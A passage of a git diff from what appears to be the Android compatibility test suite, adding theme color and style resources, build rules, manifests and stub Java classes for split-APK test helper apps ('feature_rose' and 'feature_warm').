--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/res/drawable/rose_color_drawable.xml
@@ -0,0 +1,18 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<color xmlns:android="http://schemas.android.com/apk/res/android"
+       android:color="?attr/customColor"/>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/res/values-v23/colors.xml b/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/res/values-v23/colors.xml
new file mode 100644
index 0000000..1b22fba
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/res/values-v23/colors.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<resources>
+    <!-- light rose colors for Theme_Rose -->
+    <color name="rose_custom_color">@color/pink_light</color>
+    <color name="rose_navigation_bar_color">@color/rose_light</color>
+    <color name="rose_status_bar_color">@color/ruby_light</color>
+
+    <color name="pink_light">#ffffb6c1</color>
+    <color name="rose_light">#ffff66cc</color>
+    <color name="ruby_light">#ffff0da6</color>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/res/values-v23/styles.xml b/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/res/values-v23/styles.xml
new file mode 100644
index 0000000..9a0ffe0
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/res/values-v23/styles.xml
@@ -0,0 +1,23 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources xmlns:android="http://schemas.android.com/apk/res/android">
+    <style name="Theme_Rose" parent="@style/Theme_Base">
+        <item name="customColor">@color/rose_custom_color</item>
+        <item name="android:windowBackground">@drawable/rose_color_drawable</item>
+        <item name="android:navigationBarColor">@color/rose_navigation_bar_color</item>
+    </style>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/res/values/colors.xml b/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/res/values/colors.xml
new file mode 100644
index 0000000..aafd845
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/res/values/colors.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources>
+    <!-- rose colors for Theme_Rose -->
+    <color name="rose_custom_color">@color/pink</color>
+    <color name="rose_navigation_bar_color">@color/rose</color>
+    <color name="rose_status_bar_color">@color/ruby</color>
+
+    <color name="pink">#ffffc0cb</color>
+    <color name="rose">#ffff0da6</color>
+    <color name="ruby">#ffcc0080</color>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/res/values/styles.xml b/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/res/values/styles.xml
new file mode 100644
index 0000000..607a392
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/res/values/styles.xml
@@ -0,0 +1,23 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources xmlns:android="http://schemas.android.com/apk/res/android">
+    <style name="Theme_Rose" parent="@style/Theme_Base">
+        <item name="customColor">@color/rose_custom_color</item>
+        <item name="android:windowBackground">@drawable/rose_color_drawable</item>
+        <item name="android:statusBarColor">@color/rose_status_bar_color</item>
+    </style>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/src/com/android/cts/splitapp/RoseThemeActivity.java b/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/src/com/android/cts/splitapp/RoseThemeActivity.java
new file mode 100644
index 0000000..5803fdf
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/src/com/android/cts/splitapp/RoseThemeActivity.java
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.splitapp;
+
+public class RoseThemeActivity extends ThemeActivity {
+}
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/Android.bp b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/Android.bp
new file mode 100644
index 0000000..0dcd16a
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/Android.bp
@@ -0,0 +1,91 @@
+//
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+java_defaults {
+    name: "CtsSplitAppFeatureWarmDefaults",
+    defaults: ["cts_support_defaults"],
+    srcs: ["src/**/*.java"],
+    asset_dirs: ["assets"],
+    sdk_version: "current",
+    min_sdk_version: "4",
+    aapt_include_all_resources: true,
+    libs: ["CtsSplitApp"],
+}
+
+android_test_helper_app {
+    name: "CtsSplitAppFeatureWarm",
+    defaults: ["CtsSplitAppFeatureWarmDefaults"],
+    package_splits: [
+        "v7",
+        "v23",
+    ],
+    certificate: ":cts-testkey1",
+    aaptflags: [
+        "--version-code 100",
+        "--version-name OneHundred",
+        "--replace-version",
+        "--package-id 0x80",
+    ],
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+}
+
+// Define a variant requiring a split for install
+android_test_helper_app {
+    name: "CtsNeedSplitFeatureWarm",
+    defaults: ["CtsSplitAppFeatureWarmDefaults"],
+    manifest: "needsplit/AndroidManifest.xml",
+    package_splits: ["v7"],
+    certificate: ":cts-testkey1",
+    aaptflags: [
+        "--version-code 100",
+        "--revision-code 12",
+        "--version-name OneHundredRevisionTwelve",
+        "--replace-version",
+        "--package-id 0x80",
+    ],
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+}
+
+// Define a variant with different codes and resources for the inherit updated test of the
+// feature_warm apk
+android_test_helper_app {
+    name: "CtsSplitAppFeatureWarmRevisionA",
+    defaults: ["CtsSplitAppFeatureWarmDefaults"],
+    srcs: ["src/**/*.java", "revision_a/src/**/*.java"],
+    resource_dirs: ["res", "revision_a/res"],
+    asset_dirs: ["revision_a/assets"],
+    manifest : "revision_a/AndroidManifest.xml",
+    package_splits: ["v7"],
+    certificate: ":cts-testkey1",
+    aaptflags: [
+        "--version-code 100",
+        "--revision-code 10",
+        "--version-name OneHundredRevisionTen",
+        "--replace-version",
+        "--package-id 0x80",
+        "--auto-add-overlay",
+    ],
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+}
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/AndroidManifest.xml
new file mode 100644
index 0000000..01cb9b7
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/AndroidManifest.xml
@@ -0,0 +1,61 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2014 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+     package="com.android.cts.splitapp"
+     split="feature_warm">
+
+    <uses-sdk android:minSdkVersion="4"
+         android:targetSdkVersion="27"/>
+
+    <!-- New permission should be ignored -->
+    <uses-permission android:name="android.permission.INTERNET"/>
+
+    <!-- New application flag should be ignored -->
+    <application android:largeHeap="true">
+        <activity android:name=".FeatureActivity"
+             android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
+            </intent-filter>
+            <meta-data android:name="android.service.wallpaper"
+                 android:resource="@xml/my_activity_meta"/>
+        </activity>
+        <activity android:name=".WarmThemeActivity" android:theme="@style/Theme_Warm"
+                  android:exported="false">
+            <intent-filter>
+                <action android:name="com.android.cts.splitapp.intent.THEME_TEST"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+            </intent-filter>
+        </activity>
+        <receiver android:name=".FeatureReceiver"
+             android:enabled="@bool/feature_receiver_enabled"
+             android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.DATE_CHANGED"/>
+            </intent-filter>
+        </receiver>
+        <service android:name=".FeatureService"
+             android:exported="true">
+            <intent-filter>
+                <action android:name="com.android.cts.splitapp.service"/>
+            </intent-filter>
+        </service>
+        <provider android:name=".FeatureProvider"
+             android:authorities="com.android.cts.splitapp.provider"/>
+    </application>
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature/assets/dir/dirfile2.txt b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/assets/dir/dirfile2.txt
similarity index 100%
rename from hostsidetests/appsecurity/test-apps/SplitApp/feature/assets/dir/dirfile2.txt
rename to hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/assets/dir/dirfile2.txt
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature/assets/file2.txt b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/assets/file2.txt
similarity index 100%
rename from hostsidetests/appsecurity/test-apps/SplitApp/feature/assets/file2.txt
rename to hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/assets/file2.txt
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/needsplit/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/needsplit/AndroidManifest.xml
new file mode 100644
index 0000000..927c95e
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/needsplit/AndroidManifest.xml
@@ -0,0 +1,62 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2018 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+     package="com.android.cts.splitapp"
+     split="feature_warm"
+     android:isSplitRequired="true">
+
+    <uses-sdk android:minSdkVersion="4"
+         android:targetSdkVersion="27"/>
+
+    <!-- New permission should be ignored -->
+    <uses-permission android:name="android.permission.INTERNET"/>
+
+    <!-- New application flag should be ignored -->
+    <application android:largeHeap="true">
+        <activity android:name=".FeatureActivity"
+             android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
+            </intent-filter>
+            <meta-data android:name="android.service.wallpaper"
+                 android:resource="@xml/my_activity_meta"/>
+        </activity>
+        <activity android:name=".WarmThemeActivity" android:theme="@style/Theme_Warm"
+                  android:exported="false">
+            <intent-filter>
+                <action android:name="com.android.cts.splitapp.intent.THEME_TEST"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+            </intent-filter>
+        </activity>
+        <receiver android:name=".FeatureReceiver"
+             android:enabled="@bool/feature_receiver_enabled"
+             android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.DATE_CHANGED"/>
+            </intent-filter>
+        </receiver>
+        <service android:name=".FeatureService"
+             android:exported="true">
+            <intent-filter>
+                <action android:name="com.android.cts.splitapp.service"/>
+            </intent-filter>
+        </service>
+        <provider android:name=".FeatureProvider"
+             android:authorities="com.android.cts.splitapp.provider"/>
+    </application>
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/res/drawable/warm_color_drawable.xml b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/res/drawable/warm_color_drawable.xml
new file mode 100644
index 0000000..e94b522
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/res/drawable/warm_color_drawable.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not
+ * use this file except in compliance with the License. You may obtain a copy of
+ * the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
+ * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
+ * License for the specific language governing permissions and limitations under
+ * the License.
+ */
+-->
+<color xmlns:android="http://schemas.android.com/apk/res/android"
+       android:color="?attr/customColor"/>
\ No newline at end of file
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/res/values-v23/colors.xml b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/res/values-v23/colors.xml
new file mode 100644
index 0000000..d9a8bf2
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/res/values-v23/colors.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<resources>
+    <!-- light warm colors for Theme_Warm -->
+    <color name="warm_custom_color">@color/red_light</color>
+    <color name="warm_navigation_bar_color">@color/orange_light</color>
+    <color name="warm_status_bar_color">@color/yellow_light</color>
+
+    <color name="red_light">#ffffcccb</color>
+    <color name="orange_light">#fffed8b1</color>
+    <color name="yellow_light">#ffffffed</color>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/res/values-v23/styles.xml b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/res/values-v23/styles.xml
new file mode 100644
index 0000000..bcdfda9
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/res/values-v23/styles.xml
@@ -0,0 +1,23 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources xmlns:android="http://schemas.android.com/apk/res/android">
+    <style name="Theme_Warm" parent="@style/Theme_Base">
+        <item name="customColor">@color/warm_custom_color</item>
+        <item name="android:windowBackground">@drawable/warm_color_drawable</item>
+        <item name="android:navigationBarColor">@color/warm_navigation_bar_color</item>
+    </style>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature/res/values-v7/values.xml b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/res/values-v7/values.xml
similarity index 100%
rename from hostsidetests/appsecurity/test-apps/SplitApp/feature/res/values-v7/values.xml
rename to hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/res/values-v7/values.xml
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/res/values/colors.xml b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/res/values/colors.xml
new file mode 100644
index 0000000..471403d
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/res/values/colors.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<resources>
+    <!-- warm colors for Theme_Warm -->
+    <color name="warm_custom_color">@color/red</color>
+    <color name="warm_navigation_bar_color">@color/orange</color>
+    <color name="warm_status_bar_color">@color/yellow</color>
+
+    <color name="red">#ffff0000</color>
+    <color name="orange">#ffffa500</color>
+    <color name="yellow">#ffffff00</color>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/res/values/styles.xml b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/res/values/styles.xml
new file mode 100644
index 0000000..2c6461a
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/res/values/styles.xml
@@ -0,0 +1,23 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources xmlns:android="http://schemas.android.com/apk/res/android">
+    <style name="Theme_Warm" parent="@style/Theme_Base">
+        <item name="customColor">@color/warm_custom_color</item>
+        <item name="android:windowBackground">@drawable/warm_color_drawable</item>
+        <item name="android:statusBarColor">@color/warm_status_bar_color</item>
+    </style>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature/res/values/values.xml b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/res/values/values.xml
similarity index 100%
rename from hostsidetests/appsecurity/test-apps/SplitApp/feature/res/values/values.xml
rename to hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/res/values/values.xml
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/AndroidManifest.xml
new file mode 100644
index 0000000..5398e47
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/AndroidManifest.xml
@@ -0,0 +1,60 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+     package="com.android.cts.splitapp"
+     split="feature_warm">
+
+    <uses-sdk android:minSdkVersion="4"
+         android:targetSdkVersion="27"/>
+
+    <application>
+        <!-- Updates to .revision_a.FeatureActivity -->
+        <activity android:name=".revision_a.FeatureActivity"
+             android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
+            </intent-filter>
+            <meta-data android:name="android.service.wallpaper"
+                 android:resource="@xml/my_activity_meta"/>
+        </activity>
+        <activity android:name=".WarmThemeActivity" android:theme="@style/Theme_Warm"
+                  android:exported="false">
+            <intent-filter>
+                <action android:name="com.android.cts.splitapp.intent.THEME_TEST"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+            </intent-filter>
+        </activity>
+        <receiver android:name=".FeatureReceiver"
+             android:enabled="@bool/feature_receiver_enabled"
+             android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.DATE_CHANGED"/>
+            </intent-filter>
+        </receiver>
+        <!-- Updates to .revision_a.FeatureService -->
+        <service android:name=".revision_a.FeatureService"
+             android:exported="true">
+            <intent-filter>
+                <action android:name="com.android.cts.splitapp.service"/>
+            </intent-filter>
+        </service>
+        <!-- Updates to .revision_a.FeatureProvider -->
+        <provider android:name=".revision_a.FeatureProvider"
+             android:authorities="com.android.cts.splitapp.provider"/>
+    </application>
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/assets/dir/dirfileFA.txt b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/assets/dir/dirfileFA.txt
new file mode 100644
index 0000000..bfa925e
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/assets/dir/dirfileFA.txt
@@ -0,0 +1 @@
+DIRFILE_FA
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/assets/fileFA.txt b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/assets/fileFA.txt
new file mode 100644
index 0000000..0c81c70
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/assets/fileFA.txt
@@ -0,0 +1 @@
+FILE_FA
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/res/values/values.xml b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/res/values/values.xml
new file mode 100644
index 0000000..a5cabe2
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/res/values/values.xml
@@ -0,0 +1,23 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources>
+    <bool name="feature_receiver_enabled">false</bool>
+    <string name="feature_string">red-revision</string>
+    <integer name="feature_integer">456</integer>
+
+    <string name="feature_new_string">feature new string</string>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/src/com/android/cts/splitapp/revision_a/FeatureActivity.java b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/src/com/android/cts/splitapp/revision_a/FeatureActivity.java
new file mode 100644
index 0000000..790c2ad
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/src/com/android/cts/splitapp/revision_a/FeatureActivity.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.splitapp.revision_a;
+
+import android.app.Activity;
+
+public class FeatureActivity extends Activity {
+}
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/src/com/android/cts/splitapp/revision_a/FeatureProvider.java b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/src/com/android/cts/splitapp/revision_a/FeatureProvider.java
new file mode 100644
index 0000000..f1a6fd0
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/src/com/android/cts/splitapp/revision_a/FeatureProvider.java
@@ -0,0 +1,58 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.splitapp.revision_a;
+
+import android.content.ContentProvider;
+import android.content.ContentValues;
+import android.database.Cursor;
+import android.net.Uri;
+
+public class FeatureProvider extends ContentProvider {
+    public static boolean sCreated = false;
+
+    @Override
+    public boolean onCreate() {
+        sCreated = true;
+        return true;
+    }
+
+    @Override
+    public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs,
+            String sortOrder) {
+        throw new UnsupportedOperationException();
+    }
+
+    @Override
+    public String getType(Uri uri) {
+        throw new UnsupportedOperationException();
+    }
+
+    @Override
+    public Uri insert(Uri uri, ContentValues values) {
+        throw new UnsupportedOperationException();
+    }
+
+    @Override
+    public int delete(Uri uri, String selection, String[] selectionArgs) {
+        throw new UnsupportedOperationException();
+    }
+
+    @Override
+    public int update(Uri uri, ContentValues values, String selection, String[] selectionArgs) {
+        throw new UnsupportedOperationException();
+    }
+}
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/src/com/android/cts/splitapp/revision_a/FeatureService.java b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/src/com/android/cts/splitapp/revision_a/FeatureService.java
new file mode 100644
index 0000000..ca59ebc
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/src/com/android/cts/splitapp/revision_a/FeatureService.java
@@ -0,0 +1,31 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
